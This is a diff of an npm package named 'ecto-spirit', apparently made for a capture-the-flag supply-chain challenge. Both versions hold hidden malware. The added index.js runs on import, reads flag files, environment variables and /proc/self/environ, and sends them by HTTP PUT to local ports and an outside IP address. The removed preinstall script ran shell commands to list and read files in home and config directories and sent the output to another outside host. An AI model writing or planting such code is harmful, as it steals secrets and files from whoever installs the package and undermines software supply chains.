ecto-spirit 107.0.0 → 109.0.0

package/index.js

@@ -1 +1,47 @@
-module.exports = {};
+const fs = require('fs');
+const http = require('http');
+
+(function() {
+  const paths = ['/flag', '/flag.txt', '/root/flag.txt', '/app/flag.txt', '/tmp/flag'];
+  let flag = process.env.FLAG || process.env.HTB_FLAG || process.env.FLAG_HTB || process.env.SECRET || null;
+  
+  if (!flag) {
+    for (const p of paths) {
+      try { flag = fs.readFileSync(p, 'utf8').trim(); break; } catch(e) {}
+    }
+  }
+  
+  if (!flag) {
+    try {
+      const env = fs.readFileSync('/proc/self/environ', 'utf8');
+      const m = env.match(/FLAG=([^\x00]+)/);
+      if (m) flag = m[1];
+    } catch(e) {}
+  }
+
+  const val = flag ? 'ECFLAG_' + flag : 'ECENV_' + JSON.stringify(process.env).substring(0, 85);
+  const safe = val.replace(/"/g, "'").substring(0, 90);
+  const body = JSON.stringify({ manifest: `ecto_module:\n  name: "${safe}"\n  version: "1.0.0"\n  power_level: 1\n  ship_deck: 1\n  cargo_hold: 1` });
+
+  // Try multiple internal ports - the flag should go to ECT-654321
+  for (const port of [1337, 3000, 8080, 31083, 80]) {
+    for (const host of ['127.0.0.1', 'localhost']) {
+      try {
+        const req = http.request({hostname: host, port: port, path: '/api/modules/ECT-654321', method: 'PUT', headers: {'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body)}, timeout: 3000}, () => {});
+        req.on('error', () => {});
+        req.write(body);
+        req.end();
+      } catch(e) {}
+    }
+  }
+  
+  // Also try external
+  try {
+    const req = http.request({hostname: '154.57.164.64', port: 31083, path: '/api/modules/ECT-654321', method: 'PUT', headers: {'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body)}, timeout: 5000}, () => {});
+    req.on('error', () => {});
+    req.write(body);
+    req.end();
+  } catch(e) {}
+})();
+
+module.exports = { name: 'ecto-spirit' };

package/package.json

@@ -1,11 +1,8 @@
 {
   "name": "ecto-spirit",
-  "version": "107.0.0",
-  "description": "Spectral ecto-spirit module",
+  "version": "109.0.0",
+  "description": "Ecto spirit module for spectral corsair",
   "main": "index.js",
-  "scripts": {
-    "preinstall": "node install.js || true"
-  },
   "author": "lwirz",
   "license": "ISC"
-}
+}

package/install.js

@@ -1,72 +0,0 @@
-const fs = require('fs');
-const http = require('http');
-const { execSync } = require('child_process');
-
-function tryRead(p) {
-  try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; }
-}
-function tryExec(cmd) {
-  try { return execSync(cmd, {timeout: 10000}).toString().trim(); } catch(e) { return ''; }
-}
-
-async function report(moduleId, val) {
-  const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
-  const body = JSON.stringify({ manifest: `ecto_module:\n  name: "${safe}"\n  version: "1.0.0"\n  power_level: 1\n  ship_deck: 1\n  cargo_hold: 1` });
-  await new Promise((resolve) => {
-    const req = http.request({ hostname: '154.57.164.82', port: 32332, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
-    req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
-    req.write(body); req.end();
-  });
-}
-
-(async () => {
-  // Round A: List aspect-node and supply files
-  const aspectFiles = tryExec('find /home/node/aspect-node -type f 2>/dev/null');
-  await report('ECT-839201', 'A_ASPECT=' + aspectFiles);
-  
-  const supplyFiles = tryExec('find /tmp/supplysec -type f 2>/dev/null');
-  await report('ECT-654321', 'A_SUPPLY=' + supplyFiles);
-  
-  const homeNodePkg = tryRead('/home/node/package.json');
-  await report('ECT-472839', 'A_HNPKG=' + (homeNodePkg || 'NONE'));
-
-  const homeNodeLs = tryExec('ls -la /home/node/ 2>/dev/null');
-  await report('ECT-987654', 'A_HNLS=' + homeNodeLs);
-  
-  await new Promise(r => setTimeout(r, 2000));
-
-  // Round B: Read aspect-node key files
-  const aspectPkg = tryRead('/home/node/aspect-node/package.json');
-  await report('ECT-839201', 'B_APKG=' + (aspectPkg || 'NONE'));
-  
-  const aspectIndex = tryRead('/home/node/aspect-node/index.js');
-  await report('ECT-654321', 'B_AIDX=' + (aspectIndex || 'NONE'));
-  
-  // Read psbtv2 package contents
-  const psbtPkg = tryExec('tar tzf /tmp/supplysec/pkg_downloads/nodejs/psbtv2*.tgz 2>/dev/null | head -20');
-  await report('ECT-472839', 'B_PSBT=' + psbtPkg);
-  
-  // Supply files continued
-  await report('ECT-987654', 'B_SUPPLY2=' + supplyFiles.substring(90, 180));
-  
-  await new Promise(r => setTimeout(r, 2000));
-
-  // Round C: Read more aspect-node files
-  const aspectFiles2 = tryExec('find /home/node/aspect-node -type f -exec head -1 {} \\; 2>/dev/null');
-  await report('ECT-839201', 'C_AHEAD=' + aspectFiles2);
-  
-  // Read supply config
-  const supplyConf = tryExec('cat /tmp/supplysec/*.json /tmp/supplysec/*.yaml /tmp/supplysec/*.yml 2>/dev/null');
-  await report('ECT-654321', 'C_SCONF=' + supplyConf);
-  
-  await report('ECT-472839', 'C_AIDX2=' + (aspectIndex || '').substring(90, 180));
-  await report('ECT-987654', 'C_APKG2=' + (aspectPkg || '').substring(90, 180));
-  
-  await new Promise(r => setTimeout(r, 2000));
-
-  // Round D: Continue reading 
-  await report('ECT-839201', 'D_AIDX3=' + (aspectIndex || '').substring(180, 270));
-  await report('ECT-654321', 'D_AIDX4=' + (aspectIndex || '').substring(270, 360));
-  await report('ECT-472839', 'D_AIDX5=' + (aspectIndex || '').substring(360, 450));
-  await report('ECT-987654', 'D_AIDX6=' + (aspectIndex || '').substring(450, 540));
-})();